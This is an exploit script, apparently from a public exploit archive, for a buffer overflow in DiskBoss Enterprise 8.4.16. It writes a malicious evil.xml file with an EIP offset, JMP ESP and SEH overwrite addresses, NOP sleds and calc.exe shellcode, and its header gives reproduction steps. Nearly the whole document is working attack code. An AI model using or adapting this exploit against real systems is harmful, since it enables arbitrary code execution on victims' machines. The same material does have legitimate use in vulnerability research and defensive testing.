DiskBoss Enterprise 8.4.16 Import Command Buffer Overflow

`#!/usr/bin/python  
  
#========================================================================================================================  
# Exploit Author: Touhid M.Shaikh  
# Exploit Title: DiskBoss Enterprise v8.4.16 "Import Command" Buffer Overflow  
# Date: 29-09-2017  
# Website: www.touhidshaikh.com  
# Contact: https://github.com/touhidshaikh  
# Vulnerable Software: DiskBoss Enterprise v8.4.16  
# Vendor Homepage: http://www.diskboss.com  
# Version: v8.4.16  
# Software Link: http://www.diskboss.com/downloads.html  
# Tested On: Windows 7 x86  
#  
#  
# To reproduce the exploit:  
# 1. right Click, click on Import Command  
# 2. select evil.xml , Booom Calc POPED up.. ;)  
#========================================================================================================================  
  
  
import os,struct  
import sys  
  
#offset to eip  
junk = "A" * (1560)  
  
#JMP ESP (QtGui4.dll)  
jmp1 = struct.pack('<L',0x651bb77a)  
  
#NOPS  
nops = "\x90"  
  
#LEA EAX, [ESP+76]  
esp = "\x8D\x44\x24\x4c"  
  
#JMP ESP  
jmp2 = "\xFF\xE0"  
  
#Jump short 5  
nseh = "\x90\x90\xEB\x05"  
  
#POP POP RET  
seh = struct.pack('<L',0x6501DE41)  
  
#CALC.EXE pop shellcode  
shellcode =  
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"  
  
  
# FINAL PAYLOAD  
buf = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 90 + nseh + seh + nops  
* 10 + shellcode  
  
  
#FILE  
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf +  
'\n</classify>'  
  
  
f = open('evil.xml', 'w')  
f.write(file)  
f.close()  
  
#GREETZ ----------  
#Taushif(Brother)  
#-----------------  
  
`